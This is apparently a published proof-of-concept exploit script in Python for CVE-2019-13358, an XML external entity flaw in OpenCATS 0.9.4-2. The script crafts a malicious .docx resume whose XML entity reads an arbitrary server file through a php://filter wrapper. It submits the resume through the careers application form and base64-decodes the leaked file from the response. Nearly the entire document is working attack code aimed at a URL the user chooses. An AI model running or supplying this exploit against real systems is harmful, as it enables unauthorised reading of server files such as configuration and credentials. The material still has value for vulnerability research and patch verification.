```
# Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE)
# Date: 2021-09-20
# Exploit Author: Jake Ruston
# Vendor Homepage: https://opencats.org
# Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip
# Version: < 0.9.4-3
# Tested on: Linux
# CVE: 2019-13358

from argparse import ArgumentParser
from docx import Document
from zipfile import ZipFile
from base64 import b64decode
import requests
import re

xml = """
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
```

```
<!DOCTYPE root [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource=
{}'>]>
<w:document
xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas"
xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-
com:office:office"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing"
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
xmlns:w10="urn:schemas-microsoft-com:office:word"
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml"
xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup"
xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk"
xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"
xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape"
mc:Ignorable="w14 wp14">
    <w:body>
        <w:p>
            <w:r>
                <w:t>START&file;END</w:t>
            </w:r>
        </w:p>
        <w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616">
            <w:pgSz w:w="12240" w:h="15840"/>
            <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800"
w:header="720" w:footer="720" w:gutter="0"/>
            <w:cols w:space="720"/>
            <w:docGrid w:linePitch="360"/>
        </w:sectPr>
    </w:body>
</w:document>
"""

class CVE_2019_13358:
    def __init__(self):
        self.args = self.parse_arguments()

    def parse_arguments(self):
        parser = ArgumentParser()

        required = parser.add_argument_group("required arguments")
        required.add_argument("--url", help="the URL where OpenCATS is hosted",
required=True)
        required.add_argument("--file", help="the remote file to read",
required=True)

        args = parser.parse_args()

        if not args.url.startswith("http"):
            args.url = f"http://{args.url}"

        args.url = f"{args.url}/careers/index.php"

        return args

    def create_resume(self):
        document = Document()
        document.add_paragraph()
        document.save("resume.docx")
```

```
    def update_resume(self):
        with ZipFile("resume.docx", "r") as resume:
            resume.extractall()

        with open("word/document.xml", "w") as document:
            document.write(xml.format(self.args.file).strip())

        with ZipFile("resume.docx", "w") as resume:
            resume.write("word/document.xml")

    def get(self):
        params = { "m": "careers", "p": "showAll" }

        try:
            request = requests.get(self.args.url, params=params)
        except:
            raise Exception("Failed to GET to the URL provided")

        id = re.search(r"ID=([0-9])*", request.text)

        if id is None:
            raise Exception("No vacancies were found")

        return id.group(1)

    def post(self, id):
        params = { "m": "careers", "p": "onApplyToJobOrder" }
        files = {
            "ID": (None, id),
            "candidateID": (None, -1),
            "applyToJobSubAction": (None, "resumeLoad"),
            "file": (None, ""),
            "resumeFile": open("resume.docx", "rb"),
            "resumeContents": (None, ""),
            "firstName": (None, ""),
            "lastName": (None, ""),
            "email": (None, ""),
            "emailconfirm": (None, ""),
            "phoneHome": (None, ""),

            "phoneCell": (None, ""),
            "phone": (None, ""),
            "bestTimeToCall": (None, ""),
            "address": (None, ""),
            "city": (None, ""),
            "state": (None, ""),
            "zip": (None, ""),
            "keySkills": (None, "")
        }

        try:
            request = requests.post(self.args.url, params=params, files=files)
        except Exception as e:
            raise Exception("Failed to POST to the URL provided", e)

        start = request.text.find("START")
        end = request.text.find("END")

        file = request.text[start + 5:end].strip()

        try:
            file = b64decode(file)
            file = file.decode("ascii").strip()
        except:
            raise Exception("File not found")
```

```
        print(file)

    def run(self):
        self.create_resume()
        self.update_resume()

        id = self.get()
        self.post(id)

CVE_2019_13358().run()
```